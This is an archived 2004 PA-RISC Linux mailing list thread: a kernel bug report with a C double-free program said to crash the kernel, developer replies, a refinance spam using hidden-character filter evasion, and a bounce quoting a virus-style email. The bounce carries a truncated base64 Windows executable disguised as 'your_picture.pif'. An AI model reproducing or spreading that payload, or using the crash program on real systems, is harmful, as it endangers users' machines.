X-Message-Info: Q/ez+71+pji/AK+6/9465577117
Original-Received: from smtp-han.gallup.lwdqnnlplt@mail15.com ([81.84.77.80]) by
	x352-zoh3.lwdqnnlplt@mail15.com with Microsoft
	SMTPSVC(5.0.2973.4922); Mon, 19 Apr 2004 14:07:45 -0700
Original-Received: from straightaway442.canvass.lwdqnnlplt@mail15.com
	(cladophora016.lwdqnnlplt@mail15.com [81.84.77.80])
	by smtp-only.equip.lwdqnnlplt@mail15.com (Postfix) with SMTP id
	75HQR027V0SUR
	for <parisc-linux@parisc-linux.org>; Mon, 19 Apr 2004 22:10:45 +0100
Original-Received: from smtp-umber.dryad.lwdqnnlplt@mail15.com ([81.84.77.80]) by
	ay29-ho90.lwdqnnlplt@mail15.com with Microsoft
	SMTPSVC(5.0.9485.5201); Mon, 19 Apr 2004 19:05:45 -0200
X-Message-Info: UBCKN+%ND_LC_CHAR[1-3]18+oqt+QP+4/522615637960
Original-Received: from conversion.lwdqnnlplt@mail15.com ([54.8.92.158]) by
	hilltop.lwdqnnlplt@mail15.com with MailEnable ESMTP;
	Mon, 19 Apr 2004 15:11:45 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 20:14:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21474

----34143991874615577023
Content-Type: text/html;
	charset="iso-3280-0"
Content-Transfer-Encoding: quoted-printable
Content-Description: stuttgart margarine paradigmatic

<html><body>
<table border=3D"0" cellpadding=3D"0" cellspacing=3D"0" style=3D"border-co=
llapse: collapse" bordercolor=3D"#111111" width=3D"99%" id=3D"AutoNumber1"=
 height=3D"1">
  <tr>
    <td width=3D"60%" height=3D"11" bgcolor=3D"#000080">
    <p align=3D"center"><font color=3D"#FFFFFF" size=3D"5">Millions of Ame=
ri<FONT style=3D"FONT-SIZE: 1px">|</font>can<FONT style=3D"FONT-SIZE: 1px"=
>kd</font>s 
    a<FONT style=3D"FONT-SIZE: 1px">sM</font>l<FONT style=3D"FONT-SIZE: 1p=
x">"</font>ready re-fi<FONT style=3D"FONT-SIZE: 1px">}</font>na<FONT style=
=3D"FONT-SIZE: 1px">fa</font>nced!</font></td>
    <td width=3D"40%" height=3D"1" bgcolor=3D"#FF4040">&nbsp;</td>
  </tr>
  <tr>
    <td width=3D"60%" height=3D"84" bgcolor=3D"#000080" rowspan=3D"3">
    <p align=3D"center"><font color=3D"#FFFFFF"><span style=3D"font-size: =
50pt">&nbsp;</span></font><font color=3D"#FFFFFF" style=3D"font-size: 50pt=
">
    <a href=3D"http://rd.yahoo.com/minor/winters/booky/*http:/www.peoplele=
nders.com/?partid=3Darlenders"><font color=3D"#FFFFFF">3.22%</font></a>&nb=
sp; </font>
    </td>
    <td width=3D"40%" height=3D"28">
    <p align=3D"center">Our econ<FONT style=3D"FONT-SIZE: 1px">)</font>o<F=
ONT style=3D"FONT-SIZE: 1px">o</font>my is doing great.</td>
  </tr>
  <tr>
    <td width=3D"40%" height=3D"27" bgcolor=3D"#FF4040">&nbsp;</td>
  </tr>
  <tr>
    <td width=3D"40%" height=3D"29">
    <p align=3D"center">Rat<FONT style=3D"FONT-SIZE: 1px">]</font>e<FONT s=
tyle=3D"FONT-SIZE: 1px">\</font>s are at 40 year lows.</td>
  </tr>
  <tr>
    <td width=3D"60%" height=3D"1" bgcolor=3D"#000080">
    <p align=3D"center"><font size=3D"5" color=3D"#FFFFFF">And so should y=
ou...</font></td>
    <td width=3D"40%" height=3D"1" bgcolor=3D"#FF4040">&nbsp;</td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"27" colspan=3D"2">
    <p align=3D"center">&nbsp;No<FONT style=3D"FONT-SIZE: 1px">&</font>w i=
s the time to ta<FONT style=3D"FONT-SIZE: 1px">9</font>ke advant<FONT styl=
e=3D"FONT-SIZE: 1px">*</font>age of the low rat<FONT style=3D"FONT-SIZE: 1=
px">;</font>es 
    and save th<FONT style=3D"FONT-SIZE: 1px">[</font>ousand<FONT style=3D=
"FONT-SIZE: 1px">pb</font>s of d<FONT style=3D"FONT-SIZE: 1px">#</font>oll=
ars.</td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"25" colspan=3D"2" bgcolor=3D"#FF4040">&nb=
sp;</td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"32" colspan=3D"2">
    <p align=3D"center">APP<FONT style=3D"FONT-SIZE: 1px">/</font>R<FONT s=
tyle=3D"FONT-SIZE: 1px"><</font>OV<FONT style=3D"FONT-SIZE: 1px">o</font>A=
L R<FONT style=3D"FONT-SIZE: 1px">`</font>EGAR<FONT style=3D"FONT-SIZE: 1p=
x">*</font>DLESS OF CREDIT HISTORY! NOBODY IS TURNED 
    D<FONT style=3D"FONT-SIZE: 1px">`</font>O<FONT style=3D"FONT-SIZE: 1px=
">L</font>W<FONT style=3D"FONT-SIZE: 1px">T</font>N.</td>
  </tr>
  <tr>
   <td width=3D"100%" height=3D"36" colspan=3D"2" bgcolor=3D"#FF4040" vali=
gn=3D"middle">
    <p align=3D"center"><font size=3D"5"><a href=3D"http://rd.yahoo.com/do=
lores/franchise/eyewitness/*http:/www.peoplelenders.com/?partid=3Darlender=
s">Join y<FONT style=3D"FONT-SIZE: 1px">n</font>our nat<FONT style=3D"FONT=
-SIZE: 1px">1D</font>ion a<FONT style=3D"FONT-SIZE: 1px">uC</font>nd 
    r<FONT style=3D"FONT-SIZE: 1px">Q</font>efin<FONT style=3D"FONT-SIZE: =
1px">WD</font>ance he<FONT style=3D"FONT-SIZE: 1px">W</font>re!</a></font>=
</td>
  </tr>
</table>
<DIV><FONT style=3D"FONT-SIZE: 1px">decomposable facial osteopathic theodo=
sian starboard chang rube digging ticklish addenda sixteenth steeve aside =
swanlike click committeewomen passer blue tug chaff cookery while louisa l=
ucretia deuterate hansel effluent centrist enviable idiom=20poliomyelitis =
help gentile retard mincemeat adelia sherwin naughty grimm dirt haul seth =
katmandu adsorption academic phoebe byzantium proliferate quintillion calc=
ite wreck declare snowball waldo poor seafare brahmsian monsieur eighth th=
ematic dihedral bona polarography wilcox hilbert canvas drift=20
</FONT></STRONG></DIV>
<body><html>

----34143991874615577023--


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roy Keene <parisc@rkeene.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Tue, 20 Apr 2004 00:41:23 -0500 (CDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623391 8508 80.91.229.3 (22 Nov 2014 02:29:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: parisc@rkeene.org  Mon Apr 19 23:41:31 2004
Return-Path: <parisc@rkeene.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.oc9.org (unknown [209.224.199.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id C853C4880
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 23:41:30 -0600 (MDT)
Original-Received: from hammer.oc9.org (rkeene@localhost [127.0.0.1])
	by mail.oc9.org (8.12.11/8.12.11/Debian-3) with ESMTP id i3K5fOOi011263
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 00:41:30 -0500
Original-Received: from localhost (rkeene@localhost)
	by hammer.oc9.org (8.12.11/8.12.11/Debian-3) with ESMTP id
	i3K5fONC011260 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 00:41:24 -0500
X-Authentication-Warning: hammer.oc9.org: rkeene owned process doing -bs
X-X-Sender: rkeene@hammer.oc9.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 05:41:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21475

Btw, `submit@bugs.parisc-linux.org' doesn't work.

---------- Forwarded message ----------
Date: Tue, 20 Apr 2004 00:34:27 -0500 (CDT)
From: Roy Keene <parisc@rkeene.org>
To: submit@bugs.parisc-linux.org
Subject: Kernel 2.4 bug

I'd like to report a bug in the main kernel and parisc patched kernel, it
can be reliably reproduced:

do_page_fault() pid=10963 command='test' type=15 address=0x00042004
vm_start = 0x00021000, vm_end = 0x00042000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Not tainted
r00-03  00000000 40183344 400a90e3 40187c50
r04-07  40186108 40187c50 00020ade 00000001
r08-11  00020ae6 000de988 00000000 00000000
r12-15  000e29c8 000a0800 000ddca8 000e1dc8
r16-19  000e29c8 00000000 00000000 40186108
r20-23  fffdf048 00000048 00020fb9 00020fb8
r24-27  00021050 00042000 00021048 000209d0
r28-31  00000000 00000000 bff00a40 400a8a93
sr0-3   0000003f 0000003f 00000000 0000003f
sr4-7   0000003f 0000003f 0000003f 0000003f

IASQ: 0000003f 0000003f IAOQ: 400aac07 400aac0b
 IIR: 0f28109d    ISR: 0000003f  IOR: 00042004
 CPU:        0   CR30: 37fb0000 CR31: 10380000
 ORIG_R28: 00021000



I'm running:
Linux hammer.oc9.org 2.4.25-pa0 #3 Fri Mar 12 19:49:36 CST 2004 parisc GNU/Linux

This is my CPU information:
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8500 (PCX-W)
cpu MHz         : 400.000000
model           : 9000/785/C3000
model name      : AllegroHigh W
hversion        : 0x00005bb0
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 799.53
software id     : 2007272275

This is the source to cause the problem:
#include <unistd.h>
#include <stdlib.h>

int main(void) {
        char *x;
        x=malloc(4096);
        x[0]='0';
        x[4095]='0';
        free(x);
        free(x);
        return(0);
}



(double free() shouldn't cause the kernel to give page faults, running it
 enough times eventually crashes the kernel)


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Mon, 19 Apr 2004 22:53:30 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040420055330.GY17842@tausq.org>
References: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623392 8513 80.91.229.3 (22 Nov 2014 02:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Roy Keene <parisc@rkeene.org>
Original-X-From: randolph@tausq.org  Mon Apr 19 23:53:20 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B16F4880
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 23:53:20 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 91280CD299; Mon, 19 Apr 2004 22:53:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 05:53:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21476

> (double free() shouldn't cause the kernel to give page faults, running it
>  enough times eventually crashes the kernel)

actually, the page fault message from the kernel is just informational.
it tells you what is the processor state when you get a segfault. it's
quite useful for some types of debugging.

however, this should NOT cause your kernel to crash. When your kernel
crashes, do you see a different type of register dump show up? does the
machine hang? hpmc? print some errors? the important bit to look at is
the IAOQ listed in the register dump. If the last 2 bits are set, then
it's a userspace page fault (and should be safe). If you get one where
the last 2 bits are 0 then it's a kernel-space fault, and we should try
to figure out where that comes from.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roy Keene <parisc@rkeene.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Tue, 20 Apr 2004 00:56:18 -0500 (CDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404200054450.11253@hammer.oc9.org>
References: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
	<20040420055330.GY17842@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623392 8516 80.91.229.3 (22 Nov 2014 02:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: parisc@rkeene.org  Mon Apr 19 23:56:21 2004
Return-Path: <parisc@rkeene.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.oc9.org (unknown [209.224.199.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABACE4880
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 23:56:20 -0600 (MDT)
Original-Received: from hammer.oc9.org (rkeene@localhost [127.0.0.1])
	by mail.oc9.org (8.12.11/8.12.11/Debian-3) with ESMTP id i3K5uIPh012276
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 20 Apr 2004 00:56:19 -0500
Original-Received: from localhost (rkeene@localhost)
	by hammer.oc9.org (8.12.11/8.12.11/Debian-3) with ESMTP id
	i3K5uI8I012273; Tue, 20 Apr 2004 00:56:18 -0500
X-Authentication-Warning: hammer.oc9.org: rkeene owned process doing -bs
X-X-Sender: rkeene@hammer.oc9.org
In-Reply-To: <20040420055330.GY17842@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 05:56:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21477

When it crashes I get no messages :-)

There might be something on the serial console, but I've never been
attached to it when it happened.

On Mon, 19 Apr 2004, Randolph Chung wrote:

> > (double free() shouldn't cause the kernel to give page faults, running it
> >  enough times eventually crashes the kernel)
>
> actually, the page fault message from the kernel is just informational.
> it tells you what is the processor state when you get a segfault. it's
> quite useful for some types of debugging.
>
> however, this should NOT cause your kernel to crash. When your kernel
> crashes, do you see a different type of register dump show up? does the
> machine hang? hpmc? print some errors? the important bit to look at is
> the IAOQ listed in the register dump. If the last 2 bits are set, then
> it's a userspace page fault (and should be safe). If you get one where
> the last 2 bits are 0 then it's a kernel-space fault, and we should try
> to figure out where that comes from.
>
> randolph
> --
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/
>


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Mon, 19 Apr 2004 23:06:29 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20040420060629.GB17842@tausq.org>
References: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
	<20040420055330.GY17842@tausq.org>
	<Pine.LNX.4.58.0404200054450.11253@hammer.oc9.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623392 8519 80.91.229.3 (22 Nov 2014 02:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Roy Keene <parisc@rkeene.org>
Original-X-From: randolph@tausq.org  Tue Apr 20 00:06:08 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E354549D5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 00:06:07 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6CFB4CD299; Mon, 19 Apr 2004 23:06:29 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404200054450.11253@hammer.oc9.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 06:06:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21478

In reference to a message from Roy Keene, dated Apr 20:
> When it crashes I get no messages :-)
> 
> There might be something on the serial console, but I've never been
> attached to it when it happened.

try some of the steps at:
http://www.parisc-linux.org/faq/kernelbug-howto.html

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@server19.dedicatedusa.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail delivery failed: returning message to sender
Date: Tue, 20 Apr 2004 10:23:19 +0100
Lines: 376
Approved: news@gmane.org
Message-ID: <E1BFrTL-00077e-6v@server19.dedicatedusa.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623393 8523 80.91.229.3 (22 Nov 2014 02:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Tue Apr 20 03:23:30 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server19.dedicatedusa.com (unknown [64.191.53.185])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9E80484A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 03:23:29 -0600 (MDT)
Original-Received: from mailnull by server19.dedicatedusa.com with local (Exim 4.24)
	id 1BFrTL-00077e-6v
	for parisc-linux@lists.parisc-linux.org; Tue, 20 Apr 2004 10:23:19 +0100
X-Failed-Recipients: pickle@alien.net.au
Auto-Submitted: auto-generated
X-AntiAbuse: This header was added to track abuse,
	please include it with any abuse report
X-AntiAbuse: Primary Hostname - server19.dedicatedusa.com
X-AntiAbuse: Original Domain - lists.parisc-linux.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 09:23:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21479

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  pickle@alien.net.au
    This message has been rejected because it has
    a potentially executable attachment "your_picture.pif"
    This form of attachment has been used by
    recent viruses or other malware.
    If you meant to send this file then please
    package it up as a zip file and resend it.

------ This is a copy of the message, including all the headers. ------

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from [218.163.150.89] (helo=alien.net.au)
	by server19.dedicatedusa.com with esmtp (Exim 4.24)
	id 1BFrT4-00077G-On
	for pickle@alien.net.au; Tue, 20 Apr 2004 10:23:04 +0100
From: parisc-linux@lists.parisc-linux.org
To: pickle@alien.net.au
Subject: Re: Hello
Date: Tue, 20 Apr 2004 17:23:02 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0011_00006FDB.000047D2"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <E1BFrT4-00077G-On@server19.dedicatedusa.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0011_00006FDB.000047D2
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your file is attached.

------=_NextPart_000_0011_00006FDB.000047D2
Content-Type: application/octet-stream;
	name="your_picture.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_picture.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC
AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy
dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN
dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T
WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD
+FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7
AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw
X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2
g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk
XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA
5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z
AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA
AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy
